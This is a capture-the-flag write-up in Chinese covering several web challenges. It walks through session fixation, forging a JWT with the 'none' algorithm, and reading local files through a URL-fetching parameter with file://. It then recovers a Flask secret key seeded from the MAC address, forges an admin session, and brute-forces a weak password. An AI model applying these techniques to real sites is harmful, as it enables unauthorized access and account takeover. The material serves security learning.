Session固定攻击
登录test账号,给admin发送消息
回到主页发现用户名变成了admin,获得了flag
JWT令牌伪造
先随便输入一个用户名,获得jwt token
JWT伪造网站 JSON Web Tokens - jwt.io
由于没有校验签名, 我们可以采用 None 攻击,将alg改为none,admin改为True
修改cookie,刷新
Flask_Session伪造
点击读取网页,进入了百度
发现url参数,尝试任意文件读取,发现file协议可以使用
常见伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
想要伪造flask_session需要拿到secret_key,先读取源码,flask工作目录一般都是/app/app.py
# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
app.debug = False
@app.route('/')
def index(): session['username'] = 'guest' return 'CTFshow 网页爬虫系统 读取网页'
@app.route('/read')
def read(): try: url = request.args.get('url') if re.findall('flag', url, re.IGNORECASE): return '禁止访问' res = urllib.request.urlopen(url) return res.read().decode('utf-8', errors='ignore') except Exception as ex: print(str(ex)) return '无读取内容可以展示'
@app.route('/flag')
def flag(): if session.get('username') == 'admin': return open('/flag.txt', encoding='utf-8').read() else: return '访问受限'
if __name__=='__main__': app.run( debug=False, host="0.0.0.0" )
思路很简单,伪造flask_session,将其中的用户改成admin,访问/flag得到flag,第一步就是获取secret_key
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
uuid.getnode()
是Python中用于获取本机硬件地址(通常是MAC地址)的方法。它返回一个48位的正整数,表示设备的硬件地址。
random.seed(uuid.getnode())
当seed固定时,输出的random内容是一样的
读机器码
url=file:///sys/class/net/eth0/address
02:42:ac:0c:64:0f
计算secret_key
import randommac = int("02:42:ac:0c:64:0f".replace(":",""),16)
random.seed(mac)
key = str(random.random()*100)
print(key) # 40.655192285889655
使用flask-session-cookie-manager伪造session
访问/flag
弱口令爆破
导入附件的字典爆破,用户名一般都是admin
有一条响应长度不一样,密码是834100